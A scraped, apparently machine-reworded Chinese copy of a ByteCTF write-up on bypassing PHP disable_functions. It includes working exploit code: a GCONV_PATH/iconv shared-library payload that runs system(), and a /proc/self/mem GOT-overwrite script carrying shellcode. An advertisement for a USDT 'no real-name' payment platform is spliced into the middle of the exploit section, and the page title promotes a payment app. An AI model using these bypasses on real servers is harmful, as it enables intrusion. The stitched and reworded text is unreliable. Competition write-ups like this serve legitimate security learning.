内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

电银付app安装教程(dianyinzhifu.com):ByteCTF WP-无需mail bypass disable_functions

2020-12-25 03:50 出处:  人气:   评论( 0

前言

在刚竣事的ByteCTF的中,@f1sh师傅出了一道bypass php disable_functions的问题,预期解是通过web的方式,在有putenv的情况下,无需mail/imagemagick等组件,用一种新的方式实现bypass。
最终在和@Yan表哥讨论后,我们找到了问题的预期解法--iconv,这篇文章纪录一下在解题历程中我们尝试过的种种思绪,好比线上赛的exception类非预期、行使php bugs中的一些uaf(向Kirin爷爷学习)、直接写/proc/self/mem、其他pwn/web的姿势。这里膜一下@Sndav师傅,通过一个pwn的洞实现php5-8通杀,降维袭击非预期,orz

环境

问题环境是php7.2.24 ubuntu1804,disable_functions和disable_classes如下:

disable_functions =pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,ini_set,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive

disable_classes =Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException

预期解

原理

在对比问题的disable_functions和之前竞赛的时,发现这里ban的iconv确实有点莫名其妙,于是就找到了这篇文章,然则这篇文章的姿势也是需要iconv的。那这里是否存在绕过呢?

首先来动态调一下php iconv的流程,明白文章中姿势的原理。php的iconv本质上照样挪用了glibc中的iconv,因此需要gdb调试一下glibc。这里直接装了带符号的glibc,然后LD_LIBRARY_PATH设置成带符号libc.so的地址,就可以最先调试了。

gdb php
gdb-peda$ set verbose on
gdb-peda$ dir /usr/lib/debug/lib/x86_64-linux-gnu/
Source directories searched: /usr/lib/debug/lib/x86_64-linux-gnu:$cdir:$cwd
gdb-peda$ b __gconv_read_conf
gdb-peda$ r /var/www/html/1.php

从php对iconv的挪用最先看。为了防止和libc命名冲突,iconv.c用PHP_NAMED_FUNCTION将iconv注册为php_if_iconv,在iconv_functions中也能看到PHP_RAW_NAMED_FE建立的iconv到php_if_iconv的映射。

PHP_RAW_NAMED_FE(iconv, php_if_iconv, arginfo_iconv)

断在php_if_iconv看一下处置历程

跟进php_iconv_string,其中挪用了iconv_open(),而iconv_open就是libc中的函数了。

这里直接断在__gconv_read_conf,看看挪用栈:

继续单步,凭据开头的文章,进入gconv_find_shlib然后挪用libc_dlopen和__libc_dlsym,挪用了so中的方式,从而rce

因此,除了iconv,其他挪用了iconv_open()的函数也是可以触发rce的,好比iconv_strlen,php://filter中的convert.iconv等等。

这里payload能挪用到payload.so是因为iconv除了系统提供的gconv模块外,还支持使用GCONV_PATH指定的自定义gconv模块目录下的模块。因此设置GCONV_PATH后,通过我们设置的gconv-modules,就可以在编码转换时若是遇到payload编码,就回去挪用payload.so了。

然则这个破绽最终的触发照样在glibc中,而我内陆mac的libc并不是glibc,使用的iconv也是mac的libiconv,看了一下实现,mac环境并不能触发这个破绽。

行使

gconv-modules

,

Usdt第三方支付接口

菜包钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜包Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

payload.c

,include <stdio.h>
,include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("touch /tmp/lfy");
  exit(0);
}

1.php

<?php
    putenv("GCONV_PATH=/tmp/");
    // iconv_strlen("1","payload");
    iconv("payload", "UTF-8", "whatever");
?>

然后gcc payload.c -o payload.so -shared -fPIC,再php 1.php即可。

PS:
推荐下AntSword的ant.so,LD_PRELOAD设置一下挟制system后,执行命令利便许多。

线上非预期(from CNSS)

在官方wp中写了:

https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
此 exp 展示了两种挪用 debug_backtrace() 的方式,一种是26行的直接挪用,一种是24行挪用 (new Exception)->getTrace() ,而问题把这两种方式都 disable 了。然而另有第三种方式可以挪用,只要把24行改为  (new Error)->getTrace() 即可。

除此之外,我们还可以看到在线下赛问题的disable_functions和disable_classes中,多了许多许多Exception和Error类...这些类都是可以触发这个uaf的。竞赛时还以为出题人会不会ban漏一个,效果发现出题人直接从get_declared_classes()中选出来ban了(

探索过的失败的非预期

LD_PRELOAD

先让我们回忆下通过LD_PRELOAD实现bypass的方式。
LD_PRELOAD设置一个在程序运行前优先加载的动态链接库,行使attribute((attribute-list)),可以通用的挟制php中新启动历程的函数,好比mail系列、Imagick等。但问题环境中这些都被ban了,imap模块也没开,因此都不能用。那么有没有其他的还没被发现的启动新历程的函数呢?

线上时我们通过get_defined_function拿到所有环境中的变量,然后参考平安客这篇文章的fuzz方式,对这些函数进行了fuzz,效果并没有找到...

写/proc/self/mem

参考之前对宝塔rsap绕过的文章,直接往/proc/self/mem写shellcode挟制got表,看起来也是可以的。

Kirin爷爷测试用php-cli也确实是可以笼罩的,exp如下:

<?php
    function get_p64($magic){
       $tmp="";
       for($i=0;$i<8;$i  ){
       $n_tmp=($magic>>($i*8))&0xff;
       $tmp.=chr($n_tmp); 
      }
      return $tmp;
    }
    $leak_file = fopen('/proc/self/maps', 'r');
    $base_str = fread($leak_file,12);
    $pie_base= hexdec($base_str);
    echo $pie_base;
    $mem = fopen('/proc/self/mem', 'wb');

    $shell = $pie_base   0x0E6800; 
    fseek($mem, $shell);
    $a="jgHxb8/readflaPHx89xe71xd21xf6j;Xx0fx05";
    fwrite($mem,  $a);
    fseek($mem,$pie_base 0x0068FE68);
    fwrite($mem,get_p64($shell));
    readfile("123","r");
?>

然而测试apache的时刻,发现没有权限。虽然/proc/self/mem是www-data的,权限也是600,然则php就是没权限获得句柄。。。

厥后研究发现,apache是root运行的父历程,然后 setuid将子历程降权为www-data,/proc/self/目录属于root用户,因此子历程无权限读写。若是是nginx php,对于低版本的php-fpm,www-data权限的子历程,/proc/self/目录属于www用户可以读写,tsrc这篇文章测试效果是php<5.6版本是可以使用GOT表挟制。

写一下挟制GOT表的步骤,这里直接写shellcode:

  1. 读/proc/self/maps找到php和libc在内存中的基址
  2. 剖析/proc/self/exe找到php文件中readfile@got的偏移
  3. 找个能写的地址写shellcode
  4. 向readfile@got写shellcode地址笼罩
  5. 挪用readfile

PHP Bugs

之前的许多bypass是uaf等pwn下来的,就让Kirin爷爷协助调了几个7.2.24的uaf,发现都不行,有的只能leak,期待Sndav的姿势学习一下orz

总结

web狗有空照样得看点bin...

参考链接

https://bytectf.feishu.cn/docs/doccnqzpGCWH1hkDf5ljGdjOJYg?login_redirect_times=1,l1Qx86
https://xz.aliyun.com/t/7990
https://www.anquanke.com/post/id/197745
https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80
https://security.tencent.com/index.php/blog/msg/166


分享给小伙伴们:
本文标签: 安全技术CTF

相关文章

Copyright © 2002-2019 延边新闻网 版权所有 Power by DedeMao